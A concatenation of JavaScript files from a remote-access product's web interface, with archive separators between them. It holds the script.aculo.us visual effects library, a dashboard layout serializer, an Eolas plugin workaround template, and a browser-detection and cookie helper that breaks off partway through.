//LMI-related customization:
//For serializing the dashboard layout, we only need the IDs of the items on the dashboard. 
//Dashboard items are recognized by the '_' character in ther div id, the item ID is the first letter after the _
/* this was the original loop: 
for(var i=0; i<items.length; i++)
if(items[i].tagName && items[i].tagName==options.tag.toUpperCase() &&
(!options.only || (Element.Class.has(items[i], options.only))))
queryComponents.push(
encodeURIComponent(options.name) + "[]=" + 
encodeURIComponent(items[i].id.split("_")[1]));
return queryComponents.join("&");
*/
for(var i=0; i<items.length; i++) {
if(items[i].tagName && items[i].tagName==options.tag.toUpperCase() &&
(!options.only || (Element.Class.has(items[i], options.only)))) 
{
if (items[i].id.indexOf("_") != -1) {
//LMI-related: this is for IE5 (we don't really need to call encodeURIComponent anyway...)
var tmpId = items[i].id.split("_")[1];
if (typeof(encodeURIComponent)!="undefined")
tmpId = encodeURIComponent(tmpId);
else
tmpId = escape(tmpId);
queryComponents.push(tmpId);
}
}
}
return queryComponents.join("");
}
} +@js\effects2.js&L// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// Parts (c) 2005 Justin Palmer (http://encytemedia.com/)
// Parts (c) 2005 Mark Pilgrim (http://diveintomark.org/)
// 
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
// 
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
// 
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


Effect = {}
Effect2 = Effect; // deprecated

/* ------------- transitions ------------- */

Effect.Transitions = {}

Effect.Transitions.linear = function(pos) {
return pos;
}
Effect.Transitions.sinoidal = function(pos) {
return (-Math.cos(pos*Math.PI)/2) + 0.5;
}
Effect.Transitions.reverse  = function(pos) {
return 1-pos;
}
Effect.Transitions.flicker = function(pos) {
return ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random(0.25);
}
Effect.Transitions.wobble = function(pos) {
return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5;
}
Effect.Transitions.pulse = function(pos) {
return (Math.floor(pos*10) % 2 == 0 ? 
(pos*10-Math.floor(pos*10)) : 1-(pos*10-Math.floor(pos*10)));
}
Effect.Transitions.none = function(pos) {
return 0;
}
Effect.Transitions.full = function(pos) {
return 1;
}

/* ------------- element ext -------------- */

Element.makePositioned = function(element) {
element = $(element);
if(element.style.position == "")
element.style.position = "relative";
}

Element.makeClipping = function(element) {
element = $(element);
element._overflow = element.style.overflow || 'visible';
if(element._overflow!='hidden') element.style.overflow = 'hidden';
}

Element.undoClipping = function(element) {
element = $(element);
if(element._overflow!='hidden') element.style.overflow = element._overflow;
}

/* ------------- core effects ------------- */

Effect.Base = function() {};
Effect.Base.prototype = {
setOptions: function(options) {
this.options = Object.extend({
transition: Effect.Transitions.sinoidal,
duration:   1.0,   // seconds
fps:        25.0,  // max. 100fps
sync:       false, // true for combining
from:       0.0,
to:         1.0
}, options || {});
},
start: function(options) {
this.setOptions(options || {});
this.currentFrame = 0;
this.startOn      = new Date().getTime();
this.finishOn     = this.startOn + (this.options.duration*1000);
if(this.options.beforeStart) this.options.beforeStart(this);
if(!this.options.sync) this.loop();  
},
loop: function() {
var timePos = new Date().getTime();
if(timePos >= this.finishOn) {
this.render(1.0);
if(this.finish) this.finish(); 
if(this.options.afterFinish) this.options.afterFinish(this);
return;  
}
var pos   = (timePos - this.startOn) / (this.finishOn - this.startOn);
var frame = Math.round(pos * this.options.fps * this.options.duration);
if(frame > this.currentFrame) {
this.render(pos);
this.currentFrame = frame;
}
this.timeout = setTimeout(this.loop.bind(this), 10);
},
render: function(pos) {
if(this.options.transition) pos = this.options.transition(pos);
pos *= (this.options.to-this.options.from);
pos += this.options.from; 
if(this.options.beforeUpdate) this.options.beforeUpdate(this);
if(this.update) this.update(pos);
if(this.options.afterUpdate) this.options.afterUpdate(this);  
},
cancel: function() {
if(this.timeout) clearTimeout(this.timeout);
}
}

Effect.Parallel = Class.create();
Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), {
initialize: function(effects) {
this.effects = effects || [];
this.start(arguments[1]);
},
update: function(position) {
for (var i = 0; i < this.effects.length; i++)
this.effects[i].render(position);  
},
finish: function(position) {
for (var i = 0; i < this.effects.length; i++)
if(this.effects[i].finish) this.effects[i].finish(position);
}
});

// Internet Explorer caveat: works only on elements the have
// a 'layout', meaning having a given width or height. 
// There is no way to safely set this automatically.
Effect.Opacity = Class.create();
Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), {
initialize: function(element) {
this.element = $(element);
options = Object.extend({
from: 0.0,
to:   1.0
}, arguments[1] || {});
this.start(options);
},
update: function(position) {
this.setOpacity(position);
}, 
setOpacity: function(opacity) {
opacity = (opacity == 1) ? 0.99999 : opacity;
this.element.style.opacity = opacity;
this.element.style.filter = "alpha(opacity:"+opacity*100+")";
}
});

Effect.MoveBy = Class.create();
Object.extend(Object.extend(Effect.MoveBy.prototype, Effect.Base.prototype), {
initialize: function(element, toTop, toLeft) {
this.element      = $(element);
this.originalTop  = parseFloat(this.element.style.top || '0');
this.originalLeft = parseFloat(this.element.style.left || '0');
this.toTop        = toTop;
this.toLeft       = toLeft;
Element.makePositioned(this.element);
this.start(arguments[3]);
},
update: function(position) {
topd  = this.toTop  * position + this.originalTop;
leftd = this.toLeft * position + this.originalLeft;
this.setPosition(topd, leftd);
},
setPosition: function(topd, leftd) {
this.element.style.top  = topd  + "px";
this.element.style.left = leftd + "px";
}
});

Effect.Scale = Class.create();
Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), {
initialize: function(element, percent) {
this.element = $(element)
options = Object.extend({
scaleX: true,
scaleY: true,
scaleContent: true,
scaleFromCenter: false,
scaleMode: 'box',        // 'box' or 'contents' or {} with provided values
scaleFrom: 100.0
}, arguments[2] || {});
this.originalTop    = this.element.offsetTop;
this.originalLeft   = this.element.offsetLeft;
if(this.element.style.fontSize=="") this.sizeEm = 1.0;
if(this.element.style.fontSize && this.element.style.fontSize.indexOf("em")>0)
this.sizeEm      = parseFloat(this.element.style.fontSize);
this.factor = (percent/100.0) - (options.scaleFrom/100.0);
if(options.scaleMode=='box') {
this.originalHeight = this.element.clientHeight;
this.originalWidth  = this.element.clientWidth; 
} else 
if(options.scaleMode=='contents') {
this.originalHeight = this.element.scrollHeight;
this.originalWidth  = this.element.scrollWidth;
} else {
this.originalHeight = options.scaleMode.originalHeight;
this.originalWidth  = options.scaleMode.originalWidth;
}
this.start(options);
},

update: function(position) {
currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
if(this.options.scaleContent && this.sizeEm) 
this.element.style.fontSize = this.sizeEm*currentScale + "em";
this.setDimensions(
this.originalWidth * currentScale, 
this.originalHeight * currentScale);
},

setDimensions: function(width, height) {
if(this.options.scaleX) this.element.style.width = width + 'px';
if(this.options.scaleY) this.element.style.height = height + 'px';
if(this.options.scaleFromCenter) {
topd  = (height - this.originalHeight)/2;
leftd = (width  - this.originalWidth)/2;
if(this.element.style.position=='absolute') {
if(this.options.scaleY) this.element.style.top = this.originalTop-topd + "px";
if(this.options.scaleX) this.element.style.left = this.originalLeft-leftd + "px";
} else {
if(this.options.scaleY) this.element.style.top = -topd + "px";
if(this.options.scaleX) this.element.style.left = -leftd + "px";
}
}
}
});

Effect.Highlight = Class.create();
Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), {
initialize: function(element) {
this.element = $(element);

// try to parse current background color as default for endcolor
// browser stores this as: "rgb(255, 255, 255)", convert to "#ffffff" format
var endcolor = "#ffffff";
var current = this.element.style.backgroundColor;
if(current && current.slice(0,4) == "rgb(") {
endcolor = "#";
var cols = current.slice(4,current.length-1).split(',');
var i=0; do { endcolor += parseInt(cols[i]).toColorPart() } while (++i<3); }

var options = Object.extend({
startcolor:   "#ffff99",
endcolor:     endcolor,
restorecolor: current 
}, arguments[1] || {});

// init color calculations
this.colors_base = [
parseInt(options.startcolor.slice(1,3),16),
parseInt(options.startcolor.slice(3,5),16),
parseInt(options.startcolor.slice(5),16) ];
this.colors_delta = [
parseInt(options.endcolor.slice(1,3),16)-this.colors_base[0],
parseInt(options.endcolor.slice(3,5),16)-this.colors_base[1],
parseInt(options.endcolor.slice(5),16)-this.colors_base[2] ];

this.start(options);
},
update: function(position) {
var colors = [
Math.round(this.colors_base[0]+(this.colors_delta[0]*position)),
Math.round(this.colors_base[1]+(this.colors_delta[1]*position)),
Math.round(this.colors_base[2]+(this.colors_delta[2]*position)) ];
this.element.style.backgroundColor = "#" +
colors[0].toColorPart() + colors[1].toColorPart() + colors[2].toColorPart();
},
finish: function() {
this.element.style.backgroundColor = this.options.restorecolor;
}
});

Effect.ScrollTo = Class.create();
Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), {
initialize: function(element) {
this.element = $(element);
Position.prepare();
var offsets = Position.cumulativeOffset(this.element);
var max = window.innerHeight ? 
window.height - window.innerHeight :
document.body.scrollHeight - 
(document.documentElement.clientHeight ? 
document.documentElement.clientHeight : document.body.clientHeight);
this.scrollStart = Position.deltaY;
this.delta  = (offsets[1] > max ? max : offsets[1]) - this.scrollStart;
this.start(arguments[1] || {});
},
update: function(position) {
Position.prepare();
window.scrollTo(Position.deltaX, 
this.scrollStart + (position*this.delta));
}
});

/* ------------- prepackaged effects ------------- */

Effect.Fade = function(element) {
options = Object.extend({
from: 1.0,
to:   0.0,
afterFinish: function(effect) 
{ Element.hide(effect.element);
effect.setOpacity(1); } 
}, arguments[1] || {});
return new Effect.Opacity(element,options);
}

Effect.Appear = function(element) {
options = Object.extend({
from: 0.0,
to:   1.0,
beforeStart: function(effect)  
{ effect.setOpacity(0);
Element.show(effect.element); },
afterUpdate: function(effect)  
{ Element.show(effect.element); }
}, arguments[1] || {});
return new Effect.Opacity(element,options);
}

Effect.Puff = function(element) {
return new Effect.Parallel(
[ new Effect.Scale(element, 200, { sync: true, scaleFromCenter: true }), 
new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0 } ) ], 
{ duration: 1.0, 
afterUpdate: function(effect) 
{ effect.effects[0].element.style.position = 'absolute'; },
afterFinish: function(effect)
{ Element.hide(effect.effects[0].element); }
}
);
}

Effect.BlindUp = function(element) {
Element.makeClipping(element);
return new Effect.Scale(element, 0, 
Object.extend({ scaleContent: false, 
scaleX: false, 
afterFinish: function(effect) 
{ 
Element.hide(effect.element);
Element.undoClipping(effect.element);
} 
}, arguments[1] || {})
);
}

Effect.BlindDown = function(element) {
$(element).style.height   = '0px';
Element.makeClipping(element);
Element.show(element);
return new Effect.Scale(element, 100, 
Object.extend({ scaleContent: false, 
scaleX: false, 
scaleMode: 'contents',
scaleFrom: 0,
afterFinish: function(effect) {
Element.undoClipping(effect.element);
}
}, arguments[1] || {})
);
}

Effect.SwitchOff = function(element) {
return new Effect.Appear(element,
{ duration: 0.4,
transition: Effect.Transitions.flicker,
afterFinish: function(effect)
{ effect.element.style.overflow = 'hidden';
new Effect.Scale(effect.element, 1, 
{ duration: 0.3, scaleFromCenter: true,
scaleX: false, scaleContent: false,
afterUpdate: function(effect) { 
if(effect.element.style.position=="")
effect.element.style.position = 'relative'; },
afterFinish: function(effect) { Element.hide(effect.element); }
} )
}
} );
}

Effect.DropOut = function(element) {
return new Effect.Parallel(
[ new Effect.MoveBy(element, 100, 0, { sync: true }), 
new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0 } ) ], 
{ duration: 0.5, 
afterFinish: function(effect)
{ Element.hide(effect.effects[0].element); } 
});
}

Effect.Shake = function(element) {
return new Effect.MoveBy(element, 0, 20, 
{ duration: 0.05, afterFinish: function(effect) {
new Effect.MoveBy(effect.element, 0, -40, 
{ duration: 0.1, afterFinish: function(effect) { 
new Effect.MoveBy(effect.element, 0, 40, 
{ duration: 0.1, afterFinish: function(effect) {  
new Effect.MoveBy(effect.element, 0, -40, 
{ duration: 0.1, afterFinish: function(effect) {  
new Effect.MoveBy(effect.element, 0, 40, 
{ duration: 0.1, afterFinish: function(effect) {  
new Effect.MoveBy(effect.element, 0, -20, 
{ duration: 0.05, afterFinish: function(effect) {  
}}) }}) }}) }}) }}) }});
}

Effect.SlideDown = function(element) {
element = $(element);
element.style.height   = '0px';
Element.makeClipping(element);
Element.cleanWhitespace(element);
Element.makePositioned(element.firstChild);
Element.show(element);
return new Effect.Scale(element, 100, 
Object.extend({ scaleContent: false, 
scaleX: false, 
scaleMode: 'contents',
scaleFrom: 0,
afterUpdate: function(effect) 
{ effect.element.firstChild.style.bottom = 
(effect.originalHeight - effect.element.clientHeight) + 'px'; },
afterFinish: function(effect) 
{  Element.undoClipping(effect.element); }
}, arguments[1] || {})
);
}

Effect.SlideUp = function(element) {
element = $(element);
Element.makeClipping(element);
Element.cleanWhitespace(element);
Element.makePositioned(element.firstChild);
Element.show(element);
return new Effect.Scale(element, 0, 
Object.extend({ scaleContent: false, 
scaleX: false, 
afterUpdate: function(effect) 
{ effect.element.firstChild.style.bottom = 
(effect.originalHeight - effect.element.clientHeight) + 'px'; },
afterFinish: function(effect)
{ 
Element.hide(effect.element);
Element.undoClipping(effect.element);
}
}, arguments[1] || {})
);
}

Effect.Squish = function(element) {
return new Effect.Scale(element, 0, 
{ afterFinish: function(effect) { Element.hide(effect.element); } });
}

Effect.Grow = function(element) {
element = $(element);
var options = arguments[1] || {};

var originalWidth = element.clientWidth;
var originalHeight = element.clientHeight;
element.style.overflow = 'hidden';
Element.show(element);

var direction = options.direction || 'center';
var moveTransition = options.moveTransition || Effect.Transitions.sinoidal;
var scaleTransition = options.scaleTransition || Effect.Transitions.sinoidal;
var opacityTransition = options.opacityTransition || Effect.Transitions.full;

var initialMoveX, initialMoveY;
var moveX, moveY;

switch (direction) {
case 'top-left':
initialMoveX = initialMoveY = moveX = moveY = 0; 
break;
case 'top-right':
initialMoveX = originalWidth;
initialMoveY = moveY = 0;
moveX = -originalWidth;
break;
case 'bottom-left':
initialMoveX = moveX = 0;
initialMoveY = originalHeight;
moveY = -originalHeight;
break;
case 'bottom-right':
initialMoveX = originalWidth;
initialMoveY = originalHeight;
moveX = -originalWidth;
moveY = -originalHeight;
break;
case 'center':
initialMoveX = originalWidth / 2;
initialMoveY = originalHeight / 2;
moveX = -originalWidth / 2;
moveY = -originalHeight / 2;
break;
}

return new Effect.MoveBy(element, initialMoveY, initialMoveX, { 
duration: 0.01, 
beforeUpdate: function(effect) { $(element).style.height = '0px'; },
afterFinish: function(effect) {
new Effect.Parallel(
[ new Effect.Opacity(element, { sync: true, to: 1.0, from: 0.0, transition: opacityTransition }),
new Effect.MoveBy(element, moveY, moveX, { sync: true, transition: moveTransition }),
new Effect.Scale(element, 100, { 
scaleMode: { originalHeight: originalHeight, originalWidth: originalWidth }, 
sync: true, scaleFrom: 0, scaleTo: 100, transition: scaleTransition })],
options); }
});
}

Effect.Shrink = function(element) {
element = $(element);
var options = arguments[1] || {};

var originalWidth = element.clientWidth;
var originalHeight = element.clientHeight;
element.style.overflow = 'hidden';
Element.show(element);

var direction = options.direction || 'center';
var moveTransition = options.moveTransition || Effect.Transitions.sinoidal;
var scaleTransition = options.scaleTransition || Effect.Transitions.sinoidal;
var opacityTransition = options.opacityTransition || Effect.Transitions.none;

var moveX, moveY;

switch (direction) {
case 'top-left':
moveX = moveY = 0;
break;
case 'top-right':
moveX = originalWidth;
moveY = 0;
break;
case 'bottom-left':
moveX = 0;
moveY = originalHeight;
break;
case 'bottom-right':
moveX = originalWidth;
moveY = originalHeight;
break;
case 'center':  
moveX = originalWidth / 2;
moveY = originalHeight / 2;
break;
}

return new Effect.Parallel(
[ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: opacityTransition }),
new Effect.Scale(element, 0, { sync: true, transition: moveTransition }),
new Effect.MoveBy(element, moveY, moveX, { sync: true, transition: scaleTransition }) ],
options);
}

Effect.Pulsate = function(element) {
var options    = arguments[1] || {};
var transition = options.transition || Effect.Transitions.sinoidal;
var reverser   = function(pos){ return transition(1-Effect.Transitions.pulse(pos)) };
reverser.bind(transition);
return new Effect.Opacity(element, 
Object.extend(Object.extend({  duration: 3.0,
afterFinish: function(effect) { Element.show(effect.element); }
}, options), {transition: reverser}));
}

Effect.Fold = function(element) {
$(element).style.overflow = 'hidden';
return new Effect.Scale(element, 5, Object.extend({   
scaleContent: false,
scaleTo: 100,
scaleX: false,
afterFinish: function(effect) {
new Effect.Scale(element, 1, { 
scaleContent: false, 
scaleTo: 0,
scaleY: false,
afterFinish: function(effect) { Element.hide(effect.element) } });
}}, arguments[1] || {}));
}

// old: new Effect.ContentZoom(element, percent)
// new: Element.setContentZoom(element, percent) 

Element.setContentZoom = function(element, percent) {
var element = $(element);
element.style.fontSize = (percent/100) + "em";  
if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0);
}
u[*js\eolasworkaround.js@<?ratmpl?>

<?if REQ.EMITOBJECTOPEN?>
document.write('<object codebase="&REQ.CODEBASE&" classid="&REQ.CLSID&" width="&REQ.WIDTH&" height="&REQ.HEIGHT&" id="&REQ.ID&" viewastext>');
<?endif?>

<?if REQ.EMITOBJECTCLOSE?>
document.write('</object>');
<?endif?>

<?if REQ.EMITAPPLETOPEN?>
document.write('<applet codebase="&REQ.CODEBASE&" code="&REQ.CODE&" width="&REQ.WIDTH&" height="&REQ.HEIGHT&" cabbase="&REQ.CABBASE&" archive="&REQ.ARCHIVE&" id="&REQ.ID&" viewastext mayscript>');
<?endif?>

<?if REQ.EMITAPPLETCLOSE?>
document.write('</applet>');
<?endif?>
D(js\lmiborgsupport.jsATv<?ratmpl?>
<?nocache?>

function OnConnectCheckFailed() {
top.location.replace("$RA.COM$" + "/r.asp?r=mycomputers&errorcode=4&hostid=" + "$WEBSVC.HOSTID$")
}

function _(aId) {
el = document.getElementById(aId);
if (el) el._ = function (aName, aIndex) {
if (typeof aIndex === "undefined") { aIndex = 0; }
var child = this.getElementsByTagName(aName)[aIndex];
child._ = this._;
return child;
}
return el;
}

String.prototype.contains = function (aPattern) {
var SafeStr = aPattern.toString();
return -1 < this.indexOf(SafeStr);
}

String.prototype.startsWith = function (aPattern) {
var SafeStr = aPattern.toString();
return this.indexOf(SafeStr) == 0;
}

String.prototype.endsWith = function (aPattern) {
var SafeStr = aPattern.toString();
return this.indexOf(SafeStr) == (this.length - SafeStr.length);
}

var kIDX_BROWSER_NAME = 1;
var kIDX_BROWSER_VERSION = 2;
var kIDX_VERSION_MAJOR = 0;
var kIDX_VERSION_MINOR = 1;
var kIDX_VERSION_REVISION = 2;
var kIDX_VERSION_BUILD = 3;

var kPLATFORM_WIN = "Windows";
var kPLATFORM_MAC = "Mac";
var kPLATFORM_UNIX = "UNIX";
var kPLATFORM_LINUX =  "Linux";
var kPLATFORM_UNKNOWN = "Unknown";

window.LMIBrowserInfo = {
kClientAppCookie: "LogMeInClientInstalled",
kDocumentDomain: null,
m_Name: "(unknown)",        // the browser name
m_Version: [ 0, 0, 0, 0],   // the browser version
m_Lang: window.navigator.userLanguage || window.navigator.language,

// initialize browser information
Init: function () {

var ip = /([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/.exec(window.location.hostname);
var arrDomain = /([^\.]+\.[^\.]+)$/.exec(window.location.hostname);
LMIBrowserInfo.kDocumentDomain = (arrDomain && arrDomain.length && arrDomain[1] && (!ip || !ip.length) ? arrDomain[1] : window.location.hostname);
document.domain = LMIBrowserInfo.kDocumentDomain;

var CstRegExList = [
/(Edge)\/(\d+(\.\d+)+)/,
/(Edg)\/(\d+(\.\d+)+)/,
/(Firefox)\/(\d+(\.\d+)+)/,
/(Chrome)\/(\d+(\.\d+)+)/,
/(Version)\/(\d+(\.\d+)+)\s+Safari/,
/(MSIE)\s+(\d+(\.\d+)+)/,
/(Trident)\/.*rv:(\d+(\.\d+)+)/
];
var components = [];
for (i = 0; i < CstRegExList.length; ++i) {
re = CstRegExList[i];
if (re.test(navigator.userAgent)) {
components = re.exec(navigator.userAgent);
if (components[kIDX_BROWSER_NAME] == "Version") components[kIDX_BROWSER_NAME] = "Safari";
else if (components[kIDX_BROWSER_NAME] == "Trident") components[kIDX_BROWSER_NAME] = "MSIE";
else if (components[kIDX_BROWSER_NAME] == "Edge") components[kIDX_BROWSER_NAME] = "Microsoft Edge";
else if (components[kIDX_BROWSER_NAME] == "Edg") components[kIDX_BROWSER_NAME] = "Microsoft Edge"; //new, chromium based Microsoft Edge
break;
}
}
if (kIDX_BROWSER_VERSION < components.length) {
LMIBrowserInfo.m_Name = components[kIDX_BROWSER_NAME];
LMIBrowserInfo.m_Version = components[kIDX_BROWSER_VERSION].split(/\./);
}
},

// gets the language (returns like this: 'en-US')
GetLanguage: function () {
return LMIBrowserInfo.m_Lang;
},

// gets the name of platform:
GetPlatform: function () {
if (navigator.appVersion.indexOf("Win")!=-1)
return kPLATFORM_WIN;
if (navigator.appVersion.indexOf("Mac")!=-1)
return kPLATFORM_MAC;
if (navigator.appVersion.indexOf("Linux")!=-1)
return kPLATFORM_LINUX;
if (navigator.appVersion.indexOf("X11")!=-1)
return kPLATFORM_UNIX;

return kPLATFORM_UNKNOWN;
},

// gets the major version
GetMajorVersion: function () {
return (kIDX_VERSION_MAJOR + 1) <= LMIBrowserInfo.m_Version.length ? LMIBrowserInfo.m_Version[kIDX_VERSION_MAJOR] : 0;
},

// gets the minor version
GetMinorVersion: function () {
return (kIDX_VERSION_MINOR + 1) <= LMIBrowserInfo.m_Version.length ? LMIBrowserInfo.m_Version[kIDX_VERSION_MINOR] : 0;
},

// gets the revision number
GetRevision: function () {
return (kIDX_VERSION_REVISION + 1) <= LMIBrowserInfo.m_Version.length ? LMIBrowserInfo.m_Version[kIDX_VERSION_REVISION] : 0;
},

// gets the build number
GetBuild: function () {
return (kIDX_VERSION_BUILD + 1) <= LMIBrowserInfo.m_Version.length ? LMIBrowserInfo.m_Version[kIDX_VERSION_BUILD] : 0;
},

// gets the full version string
GetVersionString: function () {
return LMIBrowserInfo.GetMajorVersion() + "." + LMIBrowserInfo.GetMinorVersion() + "." +
LMIBrowserInfo.GetRevision() + "." + LMIBrowserInfo.GetBuild();
},

// version comparator, like less than:
IsEarlier: function(aVersionStr)  {
var versions = aVersionStr.split(/\./);
if (kIDX_VERSION_MAJOR < versions.length) {
if (LMIBrowserInfo.GetMajorVersion() > versions[kIDX_VERSION_MAJOR])
return false;
else if (LMIBrowserInfo.GetMajorVersion() < versions[kIDX_VERSION_MAJOR])
return true;
}
if (kIDX_VERSION_MINOR < versions.length) {
if (LMIBrowserInfo.GetMinorVersion() > versions[kIDX_VERSION_MINOR])
return false;
else if (LMIBrowserInfo.GetMinorVersion() < versions[kIDX_VERSION_MINOR])
return true;
}
if (kIDX_VERSION_REVISION < versions.length) {
if (LMIBrowserInfo.GetRevision() > versions[kIDX_VERSION_REVISION])
return false;
else if (LMIBrowserInfo.GetRevision() < versions[kIDX_VERSION_REVISION])
return true;
}
if (kIDX_VERSION_BUILD <= versions.length) {
if (LMIBrowserInfo.GetBuild() > versions[kIDX_VERSION_BUILD])
return false;
else if (LMIBrowserInfo.GetBuild() < versions[kIDX_VERSION_BUILD])
return true;
}
return false;
},

// version comparator, like greater than:
IsLater: function (aVersionStr) {
var versions = aVersionStr.split(/\./);
if (kIDX_VERSION_MAJOR < versions.length) {
if (LMIBrowserInfo.GetMajorVersion() > versions[kIDX_VERSION_MAJOR])
return true;
else if (LMIBrowserInfo.GetMajorVersion() < versions[kIDX_VERSION_MAJOR])
return false;
}
if (kIDX_VERSION_MINOR < versions.length) {
if (LMIBrowserInfo.GetMinorVersion() > versions[kIDX_VERSION_MINOR])
return true;
else if (LMIBrowserInfo.GetMinorVersion() < versions[kIDX_VERSION_MINOR])
return false;
}
if (kIDX_VERSION_REVISION < versions.length) {
if (LMIBrowserInfo.GetRevision() > versions[kIDX_VERSION_REVISION])
return true;
else if (LMIBrowserInfo.GetRevision() < versions[kIDX_VERSION_REVISION])
return false;
}
if (kIDX_VERSION_BUILD < versions.length) {
if (LMIBrowserInfo.GetBuild() > versions[kIDX_VERSION_BUILD])
return true;
else if (LMIBrowserInfo.GetBuild() < versions[kIDX_VERSION_BUILD])
return false;
}
return false;
},

// queries if version is equals or older:
IsEarlierOrEquals: function (aVersionStr) {
return !LMIBrowserInfo.IsLater(aVersionStr);
},

// queries if version is equals or newer:
IsLaterOrEquals: function (aVersionStr) {
return !LMIBrowserInfo.IsEarlier(aVersionStr);
},

// version comparator, like equals with:
IsEquals: function (aVersionStr) {
return  !LMIBrowserInfo.IsEarlier(aVersionStr) && !LMIBrowserInfo.IsLater(aVersionStr);
},

// gets the name of browser
GetName: function () { return LMIBrowserInfo.m_Name; },

// queries if this software is LogMeIn
IsLogMeIn: function () {
// <?if BRAND.LOGMEIN?>
return true;
// <?else?>
return false;
// <?endif?>
},

// queries if this software is RemotelyAnywhere
IsRa: function () {
return !LMIBrowserInfo.IsLogMeIn();	// FIXIT: Are you sure?
},

// queries if the current platform is supported
IsPlatformSupported: function () {
var sPlatformName = LMIBrowserInfo.GetPlatform();
// skip the "borg" flow in Mac OS X 10.5:
if (sPlatformName == kPLATFORM_MAC)
{
var rgVersion = /Mac OS X (\d+)[_\.](\d+)/.exec(navigator.userAgent);
if (rgVersion[1] < 10 || (rgVersion[1] == 10 && rgVersion[2] <= 5))
{
return false;
}
return true;
}
return  (sPlatformName == kPLATFORM_WIN && LMIBrowserInfo.GetName() != "Safari");
},

// queries if the browser supports the borg flow
IsBorgSupported: function () {
// <? if CFG.WebSvc.RejectPlugins = "1" ?>
return true;
// <? else ?>
var sBrowserName = LMIBrowserInfo.GetName();
if (LMIBrowserInfo.IsLogMeIn() && LMIBrowserInfo.IsPlatformSupported() &&
(LMIBrowserInfo.GetName() == "Microsoft Edge" ||
LMIBrowserInfo.GetName() == "Safari" ||
LMIBrowserInfo.GetName() == "Firefox" ||
LMIBrowserInfo.GetName() == "Chrome"))
{
return true;
}
return false;
// <? endif ?>
},

// queries if the browser could use plugins instead of the borg flow
IsPluginsSupported: function () {
return !LMIBrowserInfo.IsBorgSupported();
},

// sets a cookie value
SetCookie: function (aName, aValue, aDays) {
var Expires = "";
if (aDays) {
var Now = new Date();
Now.setTime(Now.getTime() + (aDays * 24 * 60 * 60 * 1000));
Expires = "; expires=" + Now.toGMTString();
}
document.cookie = aName + "=" + aValue + Expires
+ "; domain=" + LMIBrowserInfo.kDocumentDomain
+ "; path=/";
},

// gets the value of the passed cookie
GetCookie: function (aKey) {
var r = [];
return (r = RegExp('(^|; )' + encodeURIComponent(aKey)
+ '=([^;]*)').exec(document.cookie)) ? r[2] : null;
},

// erases the specified cookie
EraseCookie: function (aName) {
document.cookie = aName
+ "=; expires=Thu, 01 Jan 1970 00:00:01 GMT; domain="
+ LMIBrowserInfo.kDocumentDomain;
},

// gets the shortcut key to display list of downloaded files
GetDownloadShortcut: function () {
var kDEFAULT_SHORTCUT = "CTRL+J";
var kShortcuts = [
{ Platform: kPLATFORM_MAC, Browser: "Microsoft Edge",   Shortcut: "CTRL+J"       },
{ Platform: kPLATFORM_MAC, Browser: "Safari",           Shortcut: "ALT+CMD+L"    },
{ Platform: kPLATFORM_MAC, Browser: "Chrome",           Shortcut: "SHIFT+CMD+J"  },
{ Platform: kPLATFORM_MAC, Browser: "Firefox",          Shortcut: "CMD+J"        },
{ Platform: kPLATFORM_WIN, Browser: "Safari",           Shortcut: "CTRL+ALT+L"   }
]

for (var i = 0; i < kShortcuts.length; ++i) {
if (LMIBrowserInfo.GetPlatform() == kShortcuts[i].Platform &&
LMIBrowserInfo.GetName() == kShortcuts[i].Browser) {
return kShortcuts[i].Shortcut;
}
}
return kDEFAULT_SHORTCUT;
},

// gets the browser specific and localized text of the title-bar of the
// external protocol request dialog box:
GetLaunchApplicationText: function () {
if (LMIBrowserInfo.GetName() == "Chrome") {
return "$MSG.ALERT.CHROME.LAUNCHAPPLICATION$";
}
if (LMIBrowserInfo.GetName() == "Firefox") {
return "$MSG.ALERT.FIREFOX.LAUNCHAPPLICATION$";
}
if (LMIBrowserInfo.GetName() == "Microsoft Edge") {
return "$MSG.ALERT.EDGE.LAUNCHAPPLICATION$";
}
return "";
},

// gets the browser specific and localized text of the remember my choice
// checkbox in the external protocol request form:
GetRemeberMyChoiceText: function () {
if (LMIBrowserInfo.GetName() == "Chrome") {
return "$MSG.ALERT.CHROME.REMEMBERMYCHOICE$";
}
if (LMIBrowserInfo.GetName() == "Firefox") {
return "$MSG.ALERT.FIREFOX.REMEMBERMYCHOICE$";
}
if (LMIBrowserInfo.GetName() == "Microsoft Edge") {
return "$MSG.ALERT.EDGE.REMEMBERMYCHOICE$";
}
return "";
},

// gets the string representation of browser information
toString: function() { return LMIBrowserInfo.m_Name + " " + LMIBrowserInfo.GetVersionString(); }
}
LMIBrowserInfo.Init();

window.LMIMessageBox = {
mID: "LMIMessageBoxInstance",

// bind this object to a message box
Bind: function (aID) {
